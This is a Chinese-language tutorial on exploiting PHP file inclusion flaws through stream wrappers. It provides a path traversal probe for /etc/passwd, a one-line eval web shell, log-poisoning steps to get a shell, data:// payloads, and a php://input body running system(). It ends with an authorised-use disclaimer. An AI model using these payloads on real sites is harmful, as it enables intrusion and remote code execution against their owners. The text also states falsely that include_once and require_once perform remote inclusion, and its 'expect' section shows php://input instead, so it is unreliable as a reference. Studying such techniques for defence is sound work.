文件包含漏洞定义
什么是文件包含?
文件包含漏洞常出现在PHP语言中。
PHP为了提高代码复用性,提供了文件包含函数 include() 、 require()、include_once()和require_once()函数,被包含的文件内容会被当做代码来执行。
就像造轮子一样:把重复使用的一段代码,单独写到一个文件里,再用文件包含函数来包含这个文件。
这样就造成一个特征,就是任意后缀名的文件被包含过来就被视为php代码。利用这一特点可以对php系统进行攻击。
php文件包含会用到php伪协议
什么是伪协议?
php伪协议是php支持的协议和封装协议,类似于 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。是php内置的协议可以直接调用。
常见的伪协议
• file:// — 访问本地文件系统
• http:// — 访问 HTTP(s) 网址
• ftp:// — 访问 FTP(s) URLs
• php:// — 访问各个输入/输出流(I/O streams)
• zlib:// — 压缩流
• data:// — 数据(RFC 2397)
• glob:// — 查找匹配的文件路径模式
• phar:// — PHP 归档
• ssh2:// — 安全外壳协议 2
• rar:// — RAR
• ogg:// — 音频流
• expect:// — 处理交互式的流
实战分析
php文件包含主要出现位置:
include(),require(),include_once(),require_once()
前两者是本地文件包含,后两者是远程文件包含。
利用分析
简单探测
可以先读取…/…/…/…/…/…/…/…/…/…/etc/passwd之类的文件,探测是否能读取到文件
攻击利用一
如上传1.png 文件其中图片马,直接访问不解析。
利用php://filter协议
如/upload//include.php?file=upload/1.png 解析其中问php代码
简单的一句话木马,post请求,请求参数为cmd
<?php @eval($_REQUEST[cmd]); ?>
攻击利用方式二
其他利用手法,构造登录ssh名使用php代码,记录到错误日志,
如/include.php?file=/var/log/secure
包含错误日志来getshell
参见的日志地址:
nginx
/var/log/nginx/access.log 正常日志
/var/log/nginx/error.log 错误日志
apache
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/access.log
/var/log/httpd/error.log
攻击利用方式三
其他伪协议命令执行
data协议
?file=data://text/plain;<?php phpinfo(); ?>
#使用data协议配合base64会更好使用
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect协议
这个较为少见,但是一旦配置不当可以直接命令执行。
?file=php://input
请求包body中填入参数
<?php system('more flag.php') ?>说明
本文章仅作技术交流使用,请勿攻击他人。您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行测试。
参考文章
https://www.php.net/manual/zh/wrappers.php
http://www.xbhp.cn/news/85575.html